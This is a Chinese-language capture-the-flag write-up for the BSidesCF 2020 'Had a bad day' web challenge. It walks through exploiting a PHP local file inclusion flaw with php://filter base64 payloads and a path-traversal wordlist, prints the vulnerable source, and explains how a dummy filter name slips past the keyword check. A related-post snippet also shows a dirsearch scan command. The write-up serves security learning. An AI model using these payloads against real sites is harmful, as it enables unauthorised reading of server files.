首页 > 其他分享 >[BSidesCF 2020]Had a bad day

[BSidesCF 2020]Had a bad day

时间:2024-11-20 23:07:35浏览次数:1  
标签:woofers index .. meowers Had flag bad 2020 php

打开页面,测试功能发现是一个鼓励网站,点击下面的两个按钮会给category传一个参数

感觉存在文件包含漏洞,先用base64伪协议尝试读取一下源码

  ?category=php://filter/convert.base64-encode/resource=index.php

发现报错了嗷,根据提示,他会自动加上.php后缀,我们去除后缀,重新访问

得到了一大串base64编码:

base64解密后,其中的php代码如下:

  <?php
    $file = $_GET['category'];
  
      if(isset($file))
      {
        	if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
        	include ($file . '.php');
      }
      else{
      	echo "Sorry, we currently only support woofers and meowers.";
    }
  }
  ?>

审计代码我们发现,判断语句用了strpos查找关键字woofersmeowersindex只要字符串中存在关键词就可以执行include运行脚本。目前我们需要知道的是flag文件在哪个位置。
这里我写了个简单的字典爆破:

  woofers/../flag
  woofers/../../flag
  woofers/../../../flag
  woofers/../../../../flag
  woofers/../../../../../flag
  woofers/../../../../../../flag
  woofers/../../../../../../../flag
  meowers/../flag
  meowers/../../flag
  meowers/../../../flag
  meowers/../../../../flag
  meowers/../../../../../flag
  meowers/../../../../../../flag
  meowers/../../../../../../../flag
  index/../flag
  index/../../flag
  index/../../../flag
  index/../../../../flag
  index/../../../../../flag
  index/../../../../../../flag
  index/../../../../../../../flag

那就是找到了flag.php,路径在meowers同级目录下,其实这4个文件woofers.php,meowers.php,index.php,flag.php在同一个目录下。但是不能访问flag.php,要我们读取,还是用伪协议通过resource读取:

这里简述一下php://filter的用法:
格式:php://filter/read=?/resource=?
read也可以是write,一般会省略不写,或直接写过滤器的名称。
比如:php://filter/convert.base64-encode/resource=?
多个过滤器使用管道符 | 隔开,若过滤器需要参数使用 / 后面接参数
比如:php://filter/convert.base64-encode|convert.iconv.UTF-8/ISO-8859-1/resource=flag.php
这里ISO-8859-1就是过滤器convert.iconv.UTF-8的参数

  ?category=php://filter/convert.base64-encode/meowers/resource=flag

ps:这里写meowers纯粹是因为他不接受index,你写woofers也行,在执行这个流包装器的时候没有起到任何作用,只是为了过那个判断

这里为什么会报两个警告,其实是把meowers当作了过滤器处理。
解析规则大致为:php先尝试把meowers当作convert.base64-encode过滤器的参数,但是他是一个不需要参数的过滤器,随后php再尝试把他当作过滤器处理,但是他又不是一个正确的过滤器名称,php又想创建一个这样的过滤器吧,但是meowers又不是一个预定义的过滤器名称,最后没办法了只能报两个警告。

base64解密得到

标签:woofers,index,..,meowers,Had,flag,bad,2020,php
From: https://www.cnblogs.com/abenben/p/18559585

相关文章

  • [BJDCTF2020]Easy MD5
    打开输入字符后提交没有回显,查看header发现有hint。重点是md5函数,用法:md5(*string*,*raw*=FALSE),当只接受一个参数时会返回字符串的md5值,当把第二个参数的值设置为TRUE,会返回生成md5值的二进制格式,即根据ascii码值转码。根据这个特性,就存在一个漏洞,如果password=md5($pass,tr......
  • [ACTF2020 新生赛]BackupFile
    使用dirsearch扫描:dirsearch-uhttp://b31cefa6-24d4-4f14-82c3-0fdba166cecf.node5.buuoj.cn:81/-ebak-t1-d1-o./reports/buuoj.txt扫描结果为:文件扫描得到命令index.php.bak保存之后,把.bak后缀去掉。打开文件得到代码,也可以直接用记事本打开<?phpinclu......
  • 基于java+springboot的Hadoop的豆瓣电子图书推荐系统
    课题简介基于Java+SpringBoot和Hadoop的豆瓣电子图书推荐系统,致力于为读者精准推送契合其兴趣的电子图书。后端运用SpringBoot构建稳固架构,SpringDataJPA与MySQL数据库协作存储图书信息、用户数据、评分记录等内容,SpringSecurity保障系统安全,规范用户认......
  • /etc/passwd和/etc/shadow区别
    /etc/passwd和/etc/shadow是Linux系统中用于存储用户账户信息的两个重要文件。/etc/passwd文件包含了用户的基本信息,而/etc/shadow文件则包含了用户的加密密码信息以及密码相关的设置。/etc/passwd文件/etc/passwd文件是一个文本文件,用于存储系统中每个用户的基本信息。它的......
  • P7115 [NOIP2020] 移球游戏
    link这道题我觉得是我做到过极好的构造题了,思路和优化的方法都比较有特点,对数据点范围的分析已经对数据的给分也比较恰到好处。之前做了这道题,特此写一篇题解。首先要批判一下给的小样例,对解题很容易起到反作用。所以构造题不能只看样例,要自己去手搓一下,这样才方便去做。本题我......
  • docker搭建hadoop集群linuxcentos(为分布式、完全分布式)
    docker搭建hadoop集群linuxcentos(为分布式、完全分布式) 第1章写在前面必读1.1Hadoop生态简单说明说明:hadoop只是一个存储数据的平台,mapreduce是一个计算框架,需要编程人员去编写处理数据的程序。然后hadoop是一个生态,就是说在其上还运行着hbase数据库,sqoop,shark等等工具,这样才......
  • h基于docker搭建hadoop+hive+spark+hbase+zookeeper+scale集群adoop集群搭建(docker)
     基于docker搭建hadoop+hive+spark+hbase+zookeeper+scale集群 1、设置主机上的虚拟缓存当本地内存不足时,可以使用虚拟内存将一些内存数据转移到硬盘上,从而扩展计算机的内存容量。这样可以让计算机运行更复杂、更占用内存的程序,不会出现内存不足的情况。减轻物理存储器......
  • P10304 [THUWC 2020] 道路修建
    注意到\(1\)到一个\(b\)子树内的点\(x\)的路径可以拆成\(1\top\toq\tox\)的形式,其中\(1\top\)走树边,\(p\toq\)为在点\(p\)从树边走出去,在点\(q\)走回来,然后\(q\)再走树边走到\(x\)。考虑\(f_i\)为最小的\(d\),满足断掉\(i\)深度为\(d\)的祖先到\(i......
  • Godot 字体边框shader
    shader_typecanvas_item;uniformfloatoutline_width=1.0;uniformvec4outline_color:source_color=vec4(1,0,0,1);voidfragment(){vec2uv=UV;vec2uv_up=uv+vec2(0,TEXTURE_PIXEL_SIZE.y)*outline_width;vec2uv_down=uv+vec2(0,-T......
  • 大数据时代--Hadoop的学习介绍,安装配置过程#全世界最细致万字教程(*拌面版
    前言:        让我们回到世界转变为数字时代之前的日子。那时,生成的数据量非常小,速度相对缓慢,几乎所有数据都是文件,行和列的形式,存储或处理这种数据并不麻烦,因为单个存储单元和处理器结合就可以完成这项工作,随着时间的流逝,互联网席卷了全球,每微秒都会产生大量以多种形......